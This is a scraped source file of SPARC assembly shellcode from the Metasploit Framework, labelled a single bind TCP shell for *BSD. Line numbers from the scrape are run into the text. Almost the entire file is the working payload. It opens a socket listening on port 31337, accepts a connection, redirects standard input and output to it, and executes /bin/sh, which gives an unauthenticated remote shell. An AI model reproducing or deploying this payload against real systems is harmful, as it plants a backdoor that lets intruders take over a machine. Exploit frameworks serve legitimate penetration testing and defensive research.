Path: blob/master/external/source/shellcode/bsd/sparc/single_bind_tcp.s
24822 views
##1#2# Name: single_bind_tcp3# Platforms: *BSD4# Authors: vlad902 <vlad902 [at] gmail.com>5# Version: $Revision: 1652 $6# License:7#8# This file is part of the Metasploit Exploit Framework9# and is subject to the same licenses and copyrights as10# the rest of this package.11#12# Description:13#14# Single bind TCP shell.15#16##1718.globl main1920main:21andn %sp, 7, %sp2223xor %o3, %o3, %o224mov 0x01, %o125mov 0x02, %o026mov 0x61, %g127ta 0x082829st %o0, [ %sp - 0x08 ]3031set 0xff027a68, %l032st %l0, [ %sp - 0x10 ]33st %g0, [ %sp - 0x0c ]34sub %sp, 16, %o135mov 0x10, %o236mov 0x68, %g137ta 0x083839ld [ %sp - 0x08 ], %o040mov 0x01, %o141mov 0x6a, %g142ta 0x084344ld [ %sp - 0x08 ], %o045xor %o1, %o1, %o146or %o1, %o1, %o247mov 0x1e, %g148ta 0x084950st %o0, [ %sp - 0x08 ]51mov 3, %o152dup2_loop:53subcc %o1, 1, %o154mov 0x5a, %g155ta 0x085657bnz dup2_loop58ld [ %sp - 0x08 ], %o05960xor %o3, %o3, %o261set 0x2f62696e, %l062set 0x2f736800, %l163sub %sp, 0x10, %o064sub %sp, 0x08, %o165std %l0, [ %sp - 0x10 ]66st %o0, [ %sp - 0x08 ]67st %g0, [ %sp - 0x04 ]68mov 0x3b, %g169ta 0x08707172